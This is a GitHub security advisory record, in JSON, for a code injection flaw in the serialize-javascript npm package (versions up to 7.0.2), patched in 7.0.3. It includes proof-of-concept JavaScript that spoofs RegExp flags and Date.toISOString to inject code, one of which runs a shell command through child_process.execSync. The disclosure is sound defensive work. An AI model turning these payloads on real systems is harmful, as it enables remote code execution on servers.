GHSA-5c6j-r48x-rmvq: Serialize javascript Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5c6j-r48x-rmvq",
  "modified" : "2026-03-02T16:17:35Z",
  "published" : "2026-02-28T02:50:45Z",
  "aliases" : [ ],
  "summary" : "Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()",
  "details" : "### Impact\n\nThe serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.\n\nWhile `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.\n\nIf an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.\n\n```javascript\nconst serialize = require('serialize-javascript');\n// Create an object that passes instanceof RegExp with a spoofed .flags\nconst fakeRegex = Object.create(RegExp.prototype);\nObject.defineProperty(fakeRegex, 'source', { get: () => 'x' });\nObject.defineProperty(fakeRegex, 'flags', {\n  get: () => '\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"'\n});\nfakeRegex.toJSON = function() { return '@placeholder'; };\nconst output = serialize({ re: fakeRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"\")}\nlet obj;\neval('obj = ' + output);\nconsole.log(global.PWNED); // \"CODE_INJECTION_VIA_FLAGS\" — injected code executed!\n#h2. PoC 2: Code Injection via Date.toISOString()\n```\n\n```javascript\nconst serialize = require('serialize-javascript');\nconst fakeDate = Object.create(Date.prototype);\nfakeDate.toISOString = function() { return '\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"'; };\nfakeDate.toJSON = function() { return '2024-01-01'; };\nconst output = serialize({ d: fakeDate });\n// Output: {\"d\":new Date(\"\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"\")}\neval('obj = ' + output);\nconsole.log(global.DATE_PWNED); // \"DATE_INJECTION\" — injected code executed!\n#h2. PoC 3: Remote Code Execution\n```\n\n```javascript\nconst serialize = require('serialize-javascript');\nconst rceRegex = Object.create(RegExp.prototype);\nObject.defineProperty(rceRegex, 'source', { get: () => 'x' });\nObject.defineProperty(rceRegex, 'flags', {\n  get: () => '\"+require(\"child_process\").execSync(\"id\").toString()+\"'\n});\nrceRegex.toJSON = function() { return '@rce'; };\nconst output = serialize({ re: rceRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+require(\"child_process\").execSync(\"id\").toString()+\"\")}\n// When eval'd on a Node.js server, executes the \"id\" system command\n```\n\n### Patches\n\nThe fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "serialize-javascript"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.0.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 7.0.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2020-7660"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-hxcc-f52p-wc94"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/yahoo/serialize-javascript"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-96" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-28T02:50:45Z",
    "nvd_published_at" : null
  }
}